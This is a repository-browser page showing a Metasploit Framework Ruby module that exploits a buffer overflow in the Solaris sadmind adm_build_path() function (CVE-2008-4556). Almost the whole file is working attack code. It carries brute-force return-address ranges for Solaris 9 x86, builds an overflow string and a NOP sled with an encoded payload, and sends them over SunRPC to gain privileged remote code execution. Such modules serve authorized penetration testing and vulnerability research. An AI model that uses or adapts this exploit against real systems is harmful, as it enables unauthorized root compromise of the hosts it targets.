Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / solaris / sunrpc / sadmind_adm_build_path.rb @ master

History | View | Annotate | Download (4.4 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = GreatRanking
16

    
17
        include Msf::Exploit::Remote::SunRPC
18
        include Msf::Exploit::Brute
19

    
20
        def initialize(info = {})
21
                super(update_info(info,
22
                        'Name'           => 'Sun Solaris sadmind adm_build_path() Buffer Overflow',
23
                        'Description'    => %q{
24
                                        This module exploits a buffer overflow vulnerability in adm_build_path()
25
                                function of sadmind daemon.
26

    
27
                                The distributed system administration daemon (sadmind) is the daemon used by
28
                                Solstice AdminSuite applications to perform distributed system administration
29
                                operations.
30

    
31
                                The sadmind daemon is started automatically by the inetd daemon whenever a
32
                                request to invoke an operation is received. The sadmind daemon process
33
                                continues to run for 15 minutes after the last request is completed, unless a
34
                                different idle-time is specified with the -i command line option. The sadmind
35
                                daemon may be started independently from the command line, for example, at
36
                                system boot time. In this case, the -i option has no effect; sadmind continues
37
                                to run, even if there are no active requests.
38
                        },
39
                        'Author'         =>
40
                                [
41
                                        'Adriano Lima <adriano[at]risesecurity.org>',
42
                                        'ramon',
43
                                ],
44
                        'Version'        => '$Revision$',
45
                        'Arch'           => ARCH_X86,
46
                        'Platform'       => 'solaris',
47
                        'References'     =>
48
                                [
49
                                        ['CVE', '2008-4556'],
50
                                        ['OSVDB', '49111'],
51
                                        ['URL', 'http://risesecurity.org/advisories/RISE-2008001.txt'],
52
                                ],
53
                        'Privileged'     => true,
54
                        'License'        => MSF_LICENSE,
55
                        'Payload'        =>
56
                                {
57
                                        'Space' => 1024,
58
                                        'BadChars' => "\x00",
59
                                },
60
                        'Targets'       =>
61
                                [
62
                                        [
63
                                                'Sun Solaris 9 x86 Brute Force',
64
                                                {
65
                                                        'Arch'       => [ ARCH_X86 ],
66
                                                        'Platform'   => 'solaris',
67
                                                        'Nops'       => 1024 * 32,
68
                                                        'Bruteforce' =>
69
                                                                {
70
                                                                        'Start' => { 'Ret' => 0x08062030 },
71
                                                                        'Stop'  => { 'Ret' => 0x08072030 },
72
                                                                        'Step'  => 1024 * 30,
73
                                                                }
74
                                                }
75
                                        ],
76
                                        [
77
                                                'Sun Solaris 9 x86',
78
                                                {
79
                                                        'Nops'       => 1024 * 4,
80
                                                        'Bruteforce' =>
81
                                                                {
82
                                                                        'Start' => { 'Ret' => 0x08066a60 + 2048 },
83
                                                                        'Stop'  => { 'Ret' => 0x08066a60 + 2048 },
84
                                                                        'Step'  => 1,
85
                                                                }
86
                                                }
87
                                        ],
88
                                        [
89
                                                'Debug',
90
                                                {
91
                                                        'Nops'       => 1024 * 4,
92
                                                        'Bruteforce' =>
93
                                                                {
94
                                                                        'Start' => { 'Ret' => 0xaabbccdd },
95
                                                                        'Stop'  => { 'Ret' => 0xaabbccdd },
96
                                                                        'Step'  => 1,
97
                                                                }
98
                                                }
99
                                        ],
100
                                ],
101
                        'DefaultTarget'  => 0,
102
                        'DisclosureDate' => 'Oct 14 2008'
103
                ))
104

    
105
        end
106

    
107
        def brute_exploit(brute_target)
108
                sunrpc_create('udp', 100232, 10)
109

    
110
                unless @nops
111
                        print_status('Creating nop block...')
112
                        if target['Nops'] > 0
113
                                @nops = make_nops(target['Nops'])
114
                        else
115
                                @nops = ''
116
                        end
117
                end
118

    
119
                print_status("Trying to exploit sadmind with address 0x%.8x..." % brute_target['Ret'])
120

    
121
                hostname = 'localhost'
122

    
123
                # buf1 = rand_text_alpha(1017) + [brute_target['Ret']].pack('L')
124
                buf1 = "A" * 1017 + [brute_target['Ret']].pack('L')
125
                buf2 = @nops + payload.encoded
126

    
127
                header =
128
                        XDR.encode(0) * 7 +
129
                        XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
130
                                4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,
131
                                hostname, 'system', rand_text_alpha(16))
132

    
133
                body =
134
                        do_int('ADM_FW_VERSION', 1) +
135
                        do_string('ADM_LANG', 'C') +
136
                        do_string('ADM_REQUESTID', '00009:000000000:0') +
137
                        do_string('ADM_CLASS', 'system') +
138
                        do_string('ADM_CLASS_VERS', '2.1') +
139
                        do_string('ADM_METHOD', buf1) +
140
                        do_string('ADM_HOST', hostname) +
141
                        do_string('ADM_CLIENT_HOST', hostname) +
142
                        do_string('ADM_CLIENT_DOMAIN', '') +
143
                        do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
144
                        do_int('ADM_FENCE', 0) +
145
                        do_string('X', buf2) +
146
                        XDR.encode('netmgt_endofargs')
147

    
148
                request = header + XDR.encode(header.length + body.length - 326) + body
149

    
150
                begin
151
                        # two seconds timeout for brute force
152
                        sunrpc_call(1, request, 2)
153
                rescue Rex::Proto::SunRPC::RPCTimeout
154
                        print_status('Server did not respond, this is expected')
155
                end
156

    
157
                sunrpc_destroy
158
                handler
159
        end
160

    
161
        def do_string(str1, str2)
162
                XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
163
        end
164

    
165
        def do_int(str, int)
166
                XDR.encode(str, 3, 4, int, 0, 0)
167
        end
168

    
169
end